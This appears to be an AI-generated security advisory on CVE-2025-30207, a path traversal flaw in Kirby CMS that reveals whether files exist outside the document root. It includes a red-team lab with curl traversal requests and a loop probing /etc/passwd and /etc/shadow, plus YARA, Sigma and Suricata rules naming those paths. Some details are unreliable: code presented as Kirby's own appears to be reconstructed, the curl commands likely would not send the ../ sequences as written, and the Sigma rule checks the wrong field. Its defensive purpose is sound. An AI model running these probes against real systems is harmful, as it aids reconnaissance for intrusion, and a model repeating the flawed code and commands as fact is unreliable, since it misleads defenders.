CVE-2025-30207

Executive Summary

CVE-2025-30207 is a path traversal vulnerability affecting Kirby CMS versions prior to 3.9.8.3, 3.10.1.2, and 4.7.1. The flaw specifically impacts setups using PHP's built-in development server, which is commonly used for local development. The vulnerability allows an attacker to determine the existence of files outside the document root by exploiting a missing path traversal check in Kirby's router. While file contents are not exposed, the ability to confirm file existence can aid in reconnaissance for further attacks. The issue has been patched in the mentioned versions by adding a check to ensure static files are within the document root.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Kirby CMS ecosystem. Users should update their Kirby installation via Composer or by downloading the patched version from the official repository.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Adjusted Score: 5.3 (Medium) based on CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (file existence disclosure)
• Integrity Impact: None
• Availability Impact: None
• Threat Level: Medium – Limited to information disclosure but can aid in further attacks.

Deep Dive & Mechanics

The vulnerability resides in Kirby's router when used with PHP's built-in server (php -S). In such setups, the server delegates all requests for existing files to PHP. Kirby's router, in vulnerable versions, does not verify whether the requested file is within the document root. This allows an attacker to send requests like http://localhost:8000/../../../etc/passwd and observe the response. If the file exists, the server returns a different response (e.g., a 200 or 404 with specific content) compared to a non-existent file. This behavior enables file existence enumeration.

The attack does not expose file contents because PHP treats requests to files outside the document root as invalid and does not execute them. However, the response difference (e.g., error page vs. Kirby's 404) leaks the existence of files.

Vulnerable vs. Patched Code

Vulnerable Code (before patch):

// Kirby's router in vulnerable versions
$path = $_SERVER['REQUEST_URI'];
$file = __DIR__ . $path;
if (file_exists($file)) {
    // Serve the file directly
    return false; // Let PHP handle it
}
// Otherwise, route to Kirby

Patched Code (after patch):

// Kirby's router in patched versions
$path = $_SERVER['REQUEST_URI'];
$file = realpath(__DIR__ . $path);
$docRoot = realpath($_SERVER['DOCUMENT_ROOT']);
if ($file && strpos($file, $docRoot) === 0 && file_exists($file)) {
    // Serve the file only if within document root
    return false;
}
// Otherwise, route to Kirby's error page

The patch adds a check using realpath() to resolve the file path and ensures it starts with the document root path, preventing traversal outside the allowed directory.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install a vulnerable Kirby version (e.g., 3.9.8.2) using Composer.
2. Start PHP's built-in server: php -S localhost:8000 -t public/
3. Create a test file outside the document root, e.g., /tmp/test.txt.

Exploitation Steps:

1. Send a request to check file existence:

   curl -v http://localhost:8000/../../../tmp/test.txt
   

2. Observe the response. If the file exists, the server may return a 200 with no content or a specific error. If not, Kirby's 404 page is returned.
3. Use a script to enumerate files:

   for file in /etc/passwd /etc/shadow /tmp/test.txt; do
       response=$(curl -s -o /dev/null -w "%{http_code}" "http://localhost:8000/../../../$file")
       echo "$file: $response"
   done
   

Expected Output:

• /etc/passwd: 200 (exists)
• /etc/shadow: 200 (exists)
• /tmp/test.txt: 200 (exists)
• /nonexistent: 404 (does not exist)

Blue Team

Detection:

• Monitor for requests containing ../ or ..\\ patterns in the URI.
• Look for repeated requests to files outside the web root (e.g., /etc/passwd, /proc/self/environ).
• Use the Sigma rule below to detect path traversal attempts.

Mitigation:

• Ensure Kirby is updated to patched versions.
• Avoid using PHP's built-in server in production.
• Implement a Web Application Firewall (WAF) to block path traversal patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with multiple ../ sequences (e.g., GET /../../../etc/passwd HTTP/1.1)
  • Requests to files outside the document root (e.g., /etc/passwd, /proc/version)
• File IOCs:
  • Log entries showing 200 responses for non-web-root files.
• Behavioral IOCs:
  • Enumeration of system files via HTTP requests.

Detection Engineering

YARA Rule

rule CVE_2025_30207_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Kirby CMS CVE-2025-30207"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30207"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = "/proc/"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2025-30207 Kirby CMS Path Traversal Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting Kirby CMS
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30207
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "../"
            - "..\\"
            - "/etc/"
            - "/proc/"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some applications
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30207 Kirby CMS Path Traversal Attempt"; flow:to_server,established; content:"../"; http_uri; nocase; pcre:"/(\.\.\/){2,}/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Update Kirby to version 3.9.8.3, 3.10.1.2, or 4.7.1 or later.
2. Workaround: If unable to patch, avoid using PHP's built-in server. Use Apache, Nginx, or Caddy instead.
3. Long-term: Implement a Web Application Firewall (WAF) with rules to block path traversal patterns.
4. Monitoring: Enable logging and monitor for suspicious URI patterns.
5. Validation: Ensure all file paths are validated and restricted to the document root.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.